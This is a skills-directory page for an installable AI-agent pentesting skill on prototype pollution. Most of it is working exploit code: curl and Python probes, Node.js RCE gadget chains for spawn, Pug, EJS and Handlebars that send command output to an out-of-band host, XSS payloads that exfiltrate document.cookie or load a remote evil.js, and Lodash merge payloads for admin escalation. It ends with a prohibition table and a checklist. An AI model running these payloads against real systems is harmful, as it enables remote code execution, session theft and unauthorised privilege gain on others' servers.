Back to skills
SKILL.md
Khaos Chain Prototype Pollution
BSecurityPrototype pollution chain — server-side (Node.js gadget chains → RCE via child_process/template engine), client-side (DOM XSS via polluted properties), AST injection in Lodash/merge libraries
- 6 stars
- 0 votes
- 0 copies
- 0 views
- Added December 5, 2026
Works with
Security analysis
84/100- Uses curl or wget to download content
- Exfiltrates credentials via HTTP — exact pattern from Snyk ToxicSkills study
Pro scans all 2 files and shows the line behind each finding
npx -y skills add henriqqw/Khaos-Pentester-Agent --skill khaos-chain-prototype-pollution --agent claude-codeAre you the author of Khaos Chain Prototype Pollution?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/henriqqw-khaos-chain-prototype-pollution-khaos-pentester-agent)---
name: khaos-chain-prototype-pollution
description: Prototype pollution chain — server-side (Node.js gadget chains → RCE via child_process/template engine), client-side (DOM XSS via polluted properties), AST injection in Lodash/merge libraries
metadata:
khaos:
stages: [recon, exploitation, validation]
tool_ids: [httpx, nuclei-dast]
---
# Prototype Pollution Chain
Prototype pollution occurs when attacker-controlled data modifies `Object.prototype`, the base object from which all JavaScript objects inherit. Every subsequent property lookup on any object inherits the polluted value. Server-side: pollution propagates to template engines, child_process spawn args, and require() — enabling RCE. Client-side: DOM XSS via polluted `innerHTML`, `src`, `href` sinks.
## Phase 1: Detect prototype pollution vectors
```bash
TARGET="https://TARGET"
AUTH="Authorization: Bearer TOKEN"
# Common vectors: JSON merge/deep-clone functions in API endpoints
# Look for parameters that accept nested objects:
# {"user": {"__proto__": {"isAdmin": true}}}
# {"user": {"constructor": {"prototype": {"isAdmin": true}}}}
# query string: ?__proto__[isAdmin]=true
# Test JSON body:
curl -sk "$TARGET/api/settings" \
-H "Content-Type: application/json" \
-H "$AUTH" \
-X POST \
-d '{"settings": {"__proto__": {"polluted": "khaos_marker"}}}'
# Verify pollution persisted — check if any endpoint reflects "polluted":
curl -sk "$TARGET/api/profile" -H "$AUTH" | grep "khaos_marker"
# Test query string:
curl -sk "$TARGET/api/search?__proto__[polluted]=khaos_marker" -H "$AUTH"
curl -sk "$TARGET/api/search?constructor[prototype][polluted]=khaos_marker" -H "$AUTH"
# Test URL-encoded POST:
curl -sk "$TARGET/api/update" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "$AUTH" \
-d '__proto__[polluted]=khaos_marker'
```
---
## Phase 2: Confirm server-side prototype pollution
```python
#!/usr/bin/env python3
"""Confirm server-side prototype pollution via observable side effects."""
import requests
TARGET = "https://TARGET"
TOKEN = "USER_TOKEN"
HEADERS = {"Authorization": f"Bearer {TOKEN}", "Content-Type": "application/json"}
# Step 1: Pollute Object.prototype with a unique marker:
MARKER = "khaos_pp_confirmed_12345"
payloads = [
{"__proto__": {"polluted": MARKER}},
{"constructor": {"prototype": {"polluted": MARKER}}},
{"__proto__": {"polluted": MARKER}, "data": "test"},
]
for payload in payloads:
r = requests.post(f"{TARGET}/api/settings", json=payload, headers=HEADERS)
print(f"Inject {list(payload.keys())[0]}: {r.status_code}")
# Step 2: Check if pollution is observable in a response that returns object properties:
r = requests.get(f"{TARGET}/api/profile", headers=HEADERS)
if MARKER in r.text:
print(f"[CONFIRMED] Pollution in response: {r.text[:200]}")
# Step 3: Probe for status code change (polluting 'status' or 'statusCode'):
requests.post(f"{TARGET}/api/settings",
json={"__proto__": {"status": 555}}, headers=HEADERS)
r = requests.get(f"{TARGET}/api/health", headers=HEADERS)
print(f"Status after polluting 'status': {r.status_code}") # 555 = confirmed
# Step 4: JSON error leak — pollute 'JSON.stringify' replacer path:
requests.post(f"{TARGET}/api/settings",
json={"__proto__": {"toJSON": "polluted"}}, headers=HEADERS)
```
---
## Phase 3: Server-side RCE via gadget chains
```python
#!/usr/bin/env python3
"""
Node.js prototype pollution → RCE via known gadget chains.
Gadgets: child_process.spawn options, Lodash template, Handlebars, Pug, EJS,
ioredis, mongoose, express-fileupload.
"""
import requests
TARGET = "https://TARGET"
TOKEN = "USER_TOKEN"
HEADERS = {"Authorization": f"Bearer {TOKEN}", "Content-Type": "application/json"}
OOB_HOST = "YOUR_OOB_DOMAIN"
# Gadget 1: child_process.spawn — shell: true gadget
# Pollute 'shell' on process options → any spawn() call uses shell:true
rce_payloads = [
# spawn shell gadget:
{"__proto__": {
"shell": "node",
"argv0": f"require('child_process').execSync('curl http://{OOB_HOST}/pp_rce?g=spawn&id='+require('child_process').execSync('id').toString())",
"env": {"NODE_OPTIONS": f"--require /dev/stdin"},
}},
# Pug template engine gadget:
{"__proto__": {
"block": {
"type": "Text",
"line": f"process.mainModule.require('child_process').execSync('curl http://{OOB_HOST}/pp_pug?id='+require('child_process').execSync('id').toString())"
}
}},
# EJS template gadget:
{"__proto__": {
"outputFunctionName": f"x; process.mainModule.require('child_process').exec('curl http://{OOB_HOST}/pp_ejs?id='+require('child_process').execSync('id').toString()); //"
}},
# Handlebars gadget:
{"__proto__": {
"type": "Program",
"body": [{"type": "MustacheStatement", "path": {"type": "PathExpression",
"original": f"constructor.call(global.process,'curl http://{OOB_HOST}/pp_hbs'.toString())"}}]
}},
]
for i, payload in enumerate(rce_payloads, 1):
r = requests.post(f"{TARGET}/api/settings", json=payload, headers=HEADERS)
print(f"Gadget {i}: {r.status_code}")
# Monitor OOB for callbacks
```
---
## Phase 4: Client-side DOM XSS via prototype pollution
```javascript
// Client-side prototype pollution → DOM XSS
// Occurs when: attacker controls URL/hash → merge function → Object.prototype polluted
// → DOM sink reads polluted property → XSS
// Step 1: Find a client-side merge/assign in page source:
// Look for: _.merge(), Object.assign(), jQuery.extend(true, {}), deepmerge()
// And a downstream DOM sink that reads a property that could be polluted:
// innerHTML, src, href, eval, document.write, location, setTimeout
// Step 2: Probe via URL fragment or query string:
// https://TARGET/page#__proto__[innerHTML]=<img src=x onerror=alert(1)>
// https://TARGET/page?__proto__[href]=javascript:alert(1)
// Step 3: Common sink gadgets in popular libraries:
const SINK_GADGETS = {
"jQuery.html()": "__proto__[html]=<img src=x onerror=fetch('http://OOB_HOST/xss?c='+document.cookie)>",
"innerHTML via config": "__proto__[template]=<img src=x onerror=fetch('http://OOB_HOST/xss?c='+btoa(document.cookie))>",
"script src": "__proto__[src]=//OOB_HOST/evil.js",
"location.href": "__proto__[redirectUrl]=javascript:fetch('//OOB_HOST/xss?c='+btoa(document.cookie))",
};
Object.entries(SINK_GADGETS).forEach(([name, payload]) => {
console.log(`Test: https://TARGET/page?${payload}`);
});
// Tool: ppmap (https://github.com/kleiton0x00/ppmap)
// ppmap -u https://TARGET/ — automated prototype pollution DOM gadget scanner
```
---
## Phase 5: AST injection via Lodash merge
```python
#!/usr/bin/env python3
"""
Lodash _.merge() / _.defaultsDeep() with user-controlled keys is the most common
prototype pollution vector. Test specifically against endpoints using these functions.
"""
import requests
TARGET = "https://TARGET"
TOKEN = "USER_TOKEN"
HEADERS = {"Authorization": f"Bearer {TOKEN}", "Content-Type": "application/json"}
OOB_HOST = "YOUR_OOB_DOMAIN"
# Lodash merge deep path traversal:
lodash_payloads = [
# Standard __proto__:
{"__proto__": {"admin": True, "role": "admin"}},
# Lodash constructor path:
{"constructor": {"prototype": {"admin": True}}},
# Deep nested (some merge functions only walk 2 levels):
{"a": {"__proto__": {"admin": True}}},
# Array-based path:
{"constructor.prototype.admin": True},
]
for payload in lodash_payloads:
r = requests.post(f"{TARGET}/api/merge", json=payload, headers=HEADERS)
print(f"{list(payload.keys())}: {r.status_code}")
# Then check a privileged endpoint:
r2 = requests.get(f"{TARGET}/api/admin", headers=HEADERS)
if r2.status_code == 200:
print(f" [!] Admin access obtained: {r2.text[:100]}")
```
---
## ⛔ Prohibition table
| Prohibited | Alternative |
|---|---|
| Triggering RCE gadget chains in production Node.js apps with live traffic | Use OOB DNS ping only to confirm execution; do not run commands that modify state |
| Leaving prototype pollution active after PoC (persists across requests until server restart) | Test with a benign marker first; note the pollution is application-wide while active |
| Client-side XSS payload that exfils real user cookies | Use a benign marker (alert(1) or fetch to OOB with no cookie) for initial confirmation |
| Testing gadget chains that spawn persistent processes | Limit to curl OOB probe; never spawn interactive shells or listeners |
## ✓ Completion self-check
- [ ] Pollution vector identified: JSON body / query string / URL fragment
- [ ] Object.prototype pollution confirmed: marker property visible in response or status code changed
- [ ] Server-side: at least one gadget chain attempted; OOB callback received if vulnerable
- [ ] Client-side: DOM XSS sink identified via polluted property; alert or OOB confirmed
- [ ] Pollution not left active in production; server restart or test account isolation noted
- [ ] Finding: CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes) — HIGH/CRITICAL
Files in this skill
- SKILL.md
- scripts/proto_pollution_probe.py
Attribution
Related skills
View all in ai-agents →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.